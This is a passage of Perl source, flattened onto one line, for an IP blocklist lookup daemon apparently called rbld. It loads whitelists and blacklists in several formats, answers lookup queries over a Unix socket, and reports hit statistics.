Local => $config->{sock_path}, Listen => SOMAXCONN, ) or die "Socket: $!"; chown ( ((getpwnam("$config->{sock_owner}"))[2]), ((getgrnam("$config->{sock_group}"))[2]), $config->{sock_path}) || warn "Could not chown socket: $!"; } warn scalar(localtime).": [$$] $0 startup completed in (".tv_interval (\@start)."). Now Listening.\n"; my ($conn, $req, $bvec, $rw, $timeleft, $nfound, $buffer, $data, $msg); while (1) { eval { $conn = $listen->accept() or die "Accept error: $!\n"; $req = $bvec = ''; vec($bvec, $conn->fileno, 1) = 1; $timeleft = 0.2; while ($timeleft > 0) { ($nfound, $timeleft) = select($rw=$bvec, undef, undef, $timeleft); $buffer = ''; if ($nfound != 0) { sysread($conn, $buffer, 8192) or die "EOF on connection\n"; } $req .= $buffer; last if index($buffer, "\n") > 0; } die "Timed out on request\n" if $timeleft == 0; $req =~ s/\n.*//; }; if ($@) { debug $@; $conn->shutdown(2) if $conn; next; } $info{requests}++; my ($cmd, $args) = split (/\s+/, $req, 2); $msg = ''; if ($run{$cmd}) { debug "Running command [$req]\n"; $msg = &{$run{$cmd}}($args); } else { debug "Unknown command [$req]\n"; } eval { $timeleft = 0.5; $buffer = 0; if ($msg) { do { ($nfound, $timeleft) = select(undef, $rw=$bvec, undef, $timeleft); if ($nfound != 0) { $buffer += syswrite($conn, $msg, length($msg)); } } until ($timeleft == 0 or $buffer == length($msg)); } $conn->shutdown(2); }; } } # NAME TYPE [whitelist|blacklist] FILE FILE_FORMAT[IP|CIDR|TRIE|META]:[EXPIRE|TRIE_SPLIT|LIST] [STAT_ONLY] sub load_conf { my $cfile = shift; debug "Loading config file $cfile\n"; my %nlists; if (-e $cfile) { # read the config open (CF, "<$cfile"); flock (CF, 2); while (<CF>) { chomp($_); next unless ($_); next if (substr($_, 0, 1) eq "#"); my @tmp = split (/\s+/, $_); my $file = $tmp[2]; # Make sure we have a valid type my $type = $tmp[1]; next unless (($type eq "whitelist") or ($type eq "blacklist")); # Make sure we have a valid format my @split = split (/:/, $tmp[3]); my $format = $split[0]; next unless (exists ($load{$format})); $nlists{$file}{"file"} = $file; $nlists{$file}{"name"} = $tmp[0]; $nlists{$file}{"type"} = $type; $nlists{$file}{"format"} = $format; $nlists{$file}{"split"} = $split[1] || 0; $nlists{$file}{"stat_only"} = $tmp[4] || 0; $nlists{$file}{"cfile"} = $cfile; # So we can get at data through name as well, which # is how queries to the list actually come through $nlists{$tmp[0]} = \%{$nlists{$file}}; } flock (CF, 8); close (CF); foreach my $file (keys %nlists) { # See if conf changed if (exists $lists{$file}) { my $diff = 0; foreach (keys %{$nlists{$file}}) { $diff = 1 if ($nlists{$file}{$_} ne $lists{$file}{$_}); } next unless ($diff == 1); } my $name = $nlists{$file}{"name"}; $lists{$file} = $nlists{$file}; load_list ($file); # Create our inwatch watches my $realfile = $lists{$file}{"file"}; add_to_infile ($realfile, "LOAD_LIST") unless (exists $nlists{$name}{"meta"}); # Create a run command for the list $run{$name} = sub { return check_list($name, shift); }, } # Find and delete options that were removed foreach my $file (keys %lists) { next unless ($lists{$file}{"cfile"} eq $cfile); unless (exists $nlists{$file}) { debug "$file was removed from conf $cfile, removing\n"; my $type = $lists{$file}{"type"}; my $name = $lists{$file}{"name"}; delete ($info{$type}{$name}); delete ($info{"stats"}{$name}); delete ($lists{$file}); delete ($run{$name}); } } } # Even if it doesn't exist we want to add it, that way # we can create it and then watch it. Mainly useful # for things like our local whitelists, which may not # exist yet on new servers add_to_infile ($cfile, "LOAD_CONF"); } # Take any list, and call correct routine based on format sub load_list { my $file = shift; debug "Caught load_list on $file\n"; my $format = $lists{$file}{"format"}; if ($load{$format}) { my $name = $lists{$file}{"name"}; warn scalar(localtime).": [$$] Loading $name $file (".$lists{$file}{"type"}." $format)\n"; return &{$load{$format}}($file); } } sub load_cidr { my $file = shift; if (-e $file) { open (LST, "<$file"); flock (LST, 2); my $type = $lists{$file}{"type"}; my $name = $lists{$file}{"name"}; my $split = $lists{$file}{"split"}; my $expire = 0; delete ($info{$type}{$name}); while (<LST>) { chomp($_); next unless ($_); next if (substr($_, 0, 1) eq "#"); my $line = $_; if ($split) { my @tmp = split (/\s+/, $_); if (time >= $tmp[0]) { $expire = 1; next; } $line = $tmp[1]; } my ($ip, $mask) = split (/\//, $line); if ($mask < 8) { warn scalar(localtime).": [$$] CIDR range is too large ($ip/$mask), skipping.\n"; next; } # Handle ranges bigger then 16 my $range = 0; if ($mask < 16) { $range = ((2 ** (16 - $mask)) - 1); } foreach (0 .. $range) { my $adjm = (32 - $mask); my @oct = split (/\./, $ip); $oct[1] += $_; # Make sure we have some minimum and maximum values $info{$type}{$name}{$oct[0]}{$oct[1]}{min} = $adjm unless (exists $info{$type}{$name}{$oct[0]}{$oct[1]}{min}); $info{$type}{$name}{$oct[0]}{$oct[1]}{max} = $adjm unless (exists $info{$type}{$name}{$oct[0]}{$oct[1]}{max}); $info{$type}{$name}{$oct[0]}{$oct[1]}{min} = $adjm if ($adjm < $info{$type}{$name}{$oct[0]}{$oct[1]}{min}); $info{$type}{$name}{$oct[0]}{$oct[1]}{max} = $adjm if ($adjm > $info{$type}{$name}{$oct[0]}{$oct[1]}{max}); my $pack = unpack("N", pack("C4", @oct)) >> $adjm; $info{$type}{$name}{$oct[0]}{$oct[1]}{$adjm}{$pack} = 1; } } if ($expire == 1) { seek (LST, 0, 0); foreach (keys %{$info{$type}{$name}}) { print LST "$info{$type}{$name}{$_} $_\n"; } truncate LBT, tell(LBT); } flock (LST, 8); close (LST); $all{$name} = 1; } } sub load_ip { my $file = shift; if (-e $file) { open (LST, "+<$file"); flock (LST, 2); my $type = $lists{$file}{"type"}; my $name = $lists{$file}{"name"}; my $split = $lists{$file}{"split"}; my $expire = 0; delete ($info{$type}{$name}); while (<LST>) { chomp($_); next unless ($_); next if (substr($_, 0, 1) eq "#"); if ($split) { my @tmp = split (/\s+/, $_); if (time >= $tmp[0]) { $expire = 1; next; } $info{$type}{$name}{$tmp[1]} = $tmp[0]; } else { $info{$type}{$name}{$_} = 1; } } if ($expire == 1) { seek (LST, 0, 0); foreach (keys %{$info{$type}{$name}}) { print LST "$info{$type}{$name}{$_} $_\n"; } truncate LBT, tell(LBT); } flock (LST, 8); close (LST); $all{$name} = 1; } } sub load_meta { my $file = shift; @{$lists{$file}{"meta"}} = split (/,/, $lists{$file}{"split"}); } sub load_trie { my $file = shift; if (-e $file) { open (LST, "<$file"); flock (LST, 2); my $type = $lists{$file}{"type"}; my $name = $lists{$file}{"name"}; delete ($info{$type}{$name}); while (<LST>) { chomp($_); next unless ($_); next if (substr($_, 0, 1) eq "#"); my ($key, $value) = split (/\s+/); $info{$type}{$name}{$key} = $value; } flock (LST, 8); close (LST); $all{$name} = 1; } } # Make fake meta_list masquarade as a real list, primarily for stats sub link_meta { foreach (keys %lists) { if ($lists{$_}{"format"} eq "META") { my $meta_name = $lists{$_}{"name"}; foreach my $list_name (@{$lists{$meta_name}{"meta"}}) { $lists{$meta_name."_".$list_name} = \%{$lists{$list_name}}; } } } } # Whitelists are global, so checks all whitelists. sub check_whitelist { my $ip = shift; foreach my $name (keys %{$info{whitelist}}) { $info{"stats"}{$name}{"requests"}++; my $format = $lists{$name}{"format"}; if (&{$run{$format}}($name, $ip)) { $info{"stats"}{$name}{"rejections"}++; return 1; } } return 0; } # Check any list, will call correct routine based on format sub check_list { my $name = shift; my $ip = shift; my $format = $lists{$name}{"format"}; # Increment requests $info{"stats"}{$name}{"requests"}++; my $ret = &{$run{$format}}($name, $ip); if ($ret) { my $type = $lists{$name}{"type"}; # If type is not a blacklist we don't need to check whitelist if ($type ne "blacklist") { $info{"stats"}{$name}{"rejections"}++; # Don't block if we are setup as stats only return 0 if ($lists{$name}{"stat_only"}); return 1; } # If we were on a blacklist, check the whitelist. # We do it in this order to get good whitelist stats. return 0 if (check_whitelist($ip)); $info{"stats"}{$name}{"rejections"}++; if ($ret ne 1) { $info{"stats"}{$ret}{"rejections"}++ if ($ret ne 1); return 0 if ($lists{$ret}{"stat_only"}); } # Don't block if we are setup as stats only return 0 if ($lists{$name}{"stat_only"}); return 1; } return 0 } sub check_all { # TODO, gather stats, requests and rejections, on # the exact lists inside the "all" list. # TODO, make it so you can specify a "all" list # in the conf my $ip = shift; my $hits = ""; foreach my $list_name (keys %all) { my $format = $lists{$list_name}{"format"}; $hits .= "$list_name " if (&{$run{$format}}($list_name, $ip)); } return 0 if (check_whitelist($ip)); return $hits; } sub check_cidr { my $name = shift; my $ip = shift; my $type = $lists{$name}{"type"}; my @oct = split (/\./, $ip); return 0 unless (exists $info{$type}{$name}{$oct[0]}); return 0 unless (exists $info{$type}{$name}{$oct[0]}{$oct[1]}); # bitshift from my min mask to max to do the check foreach ($info{$type}{$name}{$oct[0]}{$oct[1]}{min} .. $info{$type}{$name}{$oct[0]}{$oct[1]}{max}) { my $pack = unpack("N", pack("C4", @oct)) >> $_; return 1 if ($info{$type}{$name}{$oct[0]}{$oct[1]}{$_}{$pack}); } return 0; } sub check_ip { my $name = shift; my $ip = shift; my $type = $lists{$name}{"type"}; return 1 if ($info{$type}{$name}{$ip}); return 0; } sub check_meta { my $name = shift; my $ip = shift; foreach my $list_name (@{$lists{$name}{"meta"}}) { # Make sure list actually exists next unless (exists $lists{$list_name}); my $format = $lists{$list_name}{"format"}; $info{"stats"}{$name."_".$list_name}{"requests"}++; return $name."_".$list_name if (&{$run{$format}}($list_name, $ip)); } return 0; } sub check_trie { my $name = shift; my $ip = shift; my $type = $lists{$name}{"type"}; my $split = $lists{$name}{"split"}; my @oct = split (/\./, $ip); my $data = unpack("N", pack("C4", @oct)); my $key = substr $data, 0, $split; my $value = substr $data, $split; return 0 unless (exists $info{$type}{$name}{$key}); return 1 if (1+index( $info{$type}{$name}{$key}, ":$value:" )); return 0; } sub give_stats { my $running = time - $info{"starttime"}; return unless ($running); my (@time) = gmtime($running); my $stats .= sprintf ("\n%30s:\t%d Days %d Hours %d Min %d Sec\n", "Uptime", $time[7], $time[2], $time[1], $time[0], $running); $stats .= sprintf ("%30s:\t%d\n", "Total Requests", $info{"requests"}); $stats .= sprintf ("%30s:\t%.2f\n", "Requests Per Second", ($info{"requests"} / $running)); foreach my $name (sort keys %{$info{"stats"}}) { my $wording = "Rejections"; $stats .= sprintf ("\n%30s:\t%d (%.2f%%)", "$name Requests", $info{"stats"}{$name}{"requests"}, (($info{"stats"}{$name}{"requests"} / $info{"requests"})*100)); # It is kind of awkward to call a whitelist save a "rejection" # so we update the wording as appropriate $wording = "Saves" if ($lists{$name}{"type"} eq "whitelist"); # Avoid uninitialized errors if (exists $info{"stats"}{$name}{"rejections"}) { $stats .= sprintf ("\n%30s:\t%d (%.2f%%)\n", "$name $wording", $info{"stats"}{$name}{"rejections"}, (($info{"stats"}{$name}{"rejections"} / $info{"stats"}{$name}{"requests"}) * 100)); } else { $stats .= sprintf ("\n%30s:\t%d\n", "$name $wording", 0); } $stats .= sprintf ("%30s:\t%.2f\n", "$name RPS", ($info{"stats"}{$name}{"requests"} / $running)); } return $stats; } # Add a watch on a file via inwatch sub add_to_infile { my $file = shift; return if ($info{"infile"}{$file}); my $cmd = shift; open (INF, ">>$config->{infile}"); print INF "$file IN_MODIFY|IN_CREATE_SELF SOCK RBLD $cmd $file\n"; close (INF); $info{"infile"}{$file} = 1; return; } sub reset_infile { delete $info{"infile"}; open (INF, ">$config->{infile}"); close (INF); } sub open_log { warn scalar(localtime).": [$$] $0 Reseting log file...\n"; close (STDERR); open STDERR, ">>$config->{log}"; chmod 0600, $config->{log}; warn scalar(localtime).": [$$] $0 Log file open.\n"; # TODO, Make this reload on the next request after # something expires instead of once a day. # Reload lists with entries that expire. foreach my $file (keys %lists) { next unless ($lists{$file}{"split"}); next if ($lists{$file}{"format"} eq "TRIE"); load_list ($file); } } sub reload { warn scalar(localtime).": [$$] $0 reloading...\n"; exit if fork; sleep 2; exec "$config->{run_path}" or die "exec: $!"; } # HELP ME!!! sub help { print <<EOF; -c|--config Path to rbld daemon configuration file -o|--log=s Path to rbld log -i|--infile Path to rbld infile -l|--listconf Path to rbld list configuration file -r|--runpath Path to run path of script (/usr/sbin/rbld) -s|--socketpath Path to rbld socket -u|--socketowner Who the rbld socket owner will be set to -g|--socketgroup Which group the rbld socket will be set to -d|--debug Debug output -h|--help This lovely help message EOF exit 0; } END { debug "Exiting...\n"; $dfh->close if defined $dfh; exit 0; } main();
Close
